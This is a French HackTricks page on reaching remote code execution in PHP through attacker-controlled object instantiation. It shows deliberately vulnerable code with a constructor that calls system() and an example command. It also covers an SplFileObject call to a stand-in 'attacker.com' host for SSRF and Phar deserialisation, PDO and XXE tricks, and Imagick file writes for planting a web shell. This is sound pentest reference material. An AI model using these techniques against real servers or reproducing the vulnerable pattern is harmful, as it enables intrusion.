# PHP - RCE en abusant de la création d'objet : new $\_GET\["a"]\($\_GET\["b"])
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Introduction Dans la situation où vous pouvez créer un nouvel objet arbitraire comme `new $_GET["a"]($_GET["a"])`, vous pourriez être en mesure d'obtenir une RCE, et [**cet article**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) expose différentes façons d'obtenir une RCE. ## RCE via des classes personnalisées ou l'autoloading Dans la construction `new $a($b)`, la **variable `$a` représente le nom de la classe** pour laquelle l'objet sera créé, et la variable **`$b` représente le premier argument** qui sera passé au constructeur de l'objet. Si `$a` et `$b` proviennent de GET/POST, ils peuvent être **des chaînes de caractères ou des tableaux de chaînes de caractères**. S'ils proviennent de **JSON** ou d'ailleurs, ils **peuvent avoir d'autres types**, tels que des objets ou des booléens. Considérons l'exemple suivant : ```php class App { function __construct ($cmd) { system($cmd); } } # Additionally, in PHP < 8.0 a constructor might be defined using the name of the class class App2 { function App2 ($cmd) { system($cmd); } } # Vulnerable code $a = $_GET['a']; $b = $_GET['b']; new $a($b); ``` Dans ce code, vous pouvez définir `$a` sur `App` ou `App2` et `$b` sur `uname -a`. Après cela, la commande `uname -a` sera exécutée. Lorsqu'il n'y a pas de classes exploitables dans votre application, ou que la classe nécessaire se trouve dans un fichier séparé qui n'est pas inclus par le code vulnérable, vous pouvez jeter un coup d'œil aux fonctions d'autoload. Les **fonctions d'autoload** sont définies en enregistrant des rappels via `spl_autoload_register` ou en définissant `__autoload`. Elles sont appelées lorsqu'une instance d'une classe inconnue est en train d'être créée. ```php # An example of an autoloading function spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; }); # An example of an autoloading function, works only in PHP < 8.0 function __autoload($class_name) { include $class_name . '.php'; }; # Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path spl_autoload_register(); ``` Selon la version de PHP et le code dans les fonctions d'autoloading, il peut exister des moyens d'obtenir une exécution de code à distance via l'autoloading. ## RCE via les classes intégrées Lorsque vous n'avez pas de classes personnalisées et d'autoloading, vous pouvez vous fier uniquement aux **classes PHP intégrées**. Il existe de 100 à 200 classes PHP intégrées. Le nombre d'entre elles dépend de la version de PHP et des extensions installées. Toutes les classes intégrées peuvent être répertoriées via la fonction `get_declared_classes`, ainsi que les classes personnalisées : ```php var_dump(get_declared_classes()); ``` Des classes avec des constructeurs utiles peuvent être trouvées via [l'API de réflexion](https://www.php.net/manual/en/book.reflection.php). Affichage des constructeurs et de leurs paramètres en utilisant l'API de réflexion: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\ ![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png) Si vous contrôlez **plusieurs paramètres de constructeur et pouvez appeler des méthodes arbitraires** par la suite, il existe de nombreuses façons d'obtenir une exécution de code à distance. Mais si vous ne pouvez passer **qu'un seul paramètre et n'avez aucun appel** à l'objet créé, il n'y a **presque rien**. Je connais seulement trois façons d'obtenir quelque chose de `new $a($b)`. ### **SSRF + désérialisation Phar** La classe `SplFileObject` implémente un constructeur qui permet la connexion à n'importe quelle URL locale ou distante: ``` new SplFileObject('http://attacker.com/'); ``` Cela permet SSRF. De plus, les SSRF en PHP < 8.0 peuvent être transformées en désérialisations via des techniques avec le protocole Phar. ### **Exploitation de PDOs** La classe PDO a un autre constructeur intéressant : ```php new PDO("sqlite:/tmp/test.txt") ``` Le constructeur `PDO` accepte des chaînes DSN, ce qui nous permet de **se connecter à n'importe quelle base de données locale ou distante** en utilisant les **extensions de base de données installées**. Par exemple, l'extension SQLite peut créer des fichiers vides. ### **SoapClient/SimpleXMLElement XXE** Dans PHP ≤ 5.3.22 et ≤ 5.4.12, le constructeur de SoapClient était **vulnérable à XXE**. Le constructeur de SimpleXMLElement était également vulnérable à XXE, mais il nécessitait libxml2 < 2.9. ## RCE via l'extension Imagick En vérifiant les **dépendances** du **projet** que vous essayez d'exploiter, vous pouvez trouver des **nouvelles classes** qui pourraient être **abusées pour exécuter des commandes** en créant un nouvel objet. Dans ce cas, **Imagick** s'est avéré utile à cette fin. ### Analyseur VID L'analyseur VID permet d'écrire un contenu arbitraire dans un chemin arbitraire à l'intérieur du système de fichiers, ce qui permettrait à un attaquant d'écrire un PHPshell dans un dossier accessible depuis la page web et d'obtenir une RCE. ![](<../../../.gitbook/assets/image (157) (3).png>) #### Analyseur VID + Téléchargement de fichiers Lorsqu'un fichier est téléchargé sur PHP, il est temporairement stocké dans `/tmp/phpXXXXXX`. L'analyseur VID d'Imagick avec le protocole **msl** permet de **spécifier des caractères génériques dans les chemins de fichiers** (de sorte que le fichier téléchargé temporaire peut être facilement accessible) et de **le copier dans n'importe quel emplacement arbitraire**.\ C'est une autre façon d'obtenir l'écriture de fichiers arbitraires dans le système de fichiers : ![](<../../../.gitbook/assets/image (159).png>) ### Plantage PHP + Brute Force Le [**writeup original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) expliquait une autre façon d'obtenir une RCE en **téléchargeant des fichiers avec un contenu spécifique** et en faisant **planter le serveur avant qu'il ne supprime** ce fichier, puis en **bruteforçant le nom** du fichier temporaire jusqu'à ce qu'**Imagick exécute du code PHP arbitraire**. Cependant, apparemment, le **truc du plantage** découvert ne **fonctionnait que dans une ancienne version d'ImageMagick**. ## Références * [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.